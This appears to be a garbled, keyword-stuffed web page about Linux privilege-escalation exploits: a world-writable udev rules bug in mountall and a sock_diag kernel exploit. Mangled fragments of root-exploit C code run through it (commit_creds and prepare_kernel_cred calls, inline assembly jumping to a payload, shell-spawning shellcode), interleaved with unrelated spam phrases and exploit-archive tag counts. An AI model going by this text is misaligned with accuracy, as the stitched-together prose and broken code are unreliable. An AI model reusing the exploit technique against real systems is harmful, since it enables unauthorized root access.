Of course, this file has to be present so the next part of his code will create that file.
This vulnerability was reported by Alasdair MacGregor and its as simple as this.H typedef int _attribute regparm(3) _commit_creds unsigned long cred typedef unsigned long _attribute regparm(3) _prepare_kernel_cred unsigned long cred _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; unsigned long sock_diag_handlers, nl_table; int _attribute regparm(3) kernel_code recovery tools windows 7 return -1; int jump_payload_not_used(void *skb, void *nlh) asm volatile ( "mov kernel_code, eaxn" "call *eaxn".Of course, must be an executable file so this is what is done using chmod(1).# # ubuntu.04,.10 if -z "1" then echo "usage: 0 udev kernel event " echo "see here ml" exit fi, as you can read, the exploit code requires an argument which should be udev kernel event.The mountall(1) utility which is used as a barrons gre book 2013 pdf mounting tool for udev rules, create rules that are owned by root and world writable!Orivilege Escalation, authored by, google Security Research, ianbeer.
Conference (591 cracker (753 cSRF (2,767 doS (18,308 encryption (2,221 exploit (39,659 file Inclusion (3,850).
At last, the fix was to patch src/mountall.
His exploit code is available here.R.udiag_show udiag_show_name udiag_show_peer udiag_show_rqlen; if(argc1) printf Run: s FedoraUbuntun argv0 return 0; else if(strcmp(argv1 Fedora 0) commit_creds commit_creds) get_symbol commit_creds prepare_kernel_cred prepare_kernel_cred) sock_diag_handlers nl_table get_symbol nl_table if(!prepare_kernel_cred!commit_creds!sock_diag_handlers!nl_table) printf some symbols are not available!C EOF char main int *r int r2 int)s; EOF, using a simple shell spawning shellcode and a call to it this C code will just spawn a shell.Systems linux advisories, cVE, mD5 login or, register to post a comment, file Tags.That said, it should not be world-writable.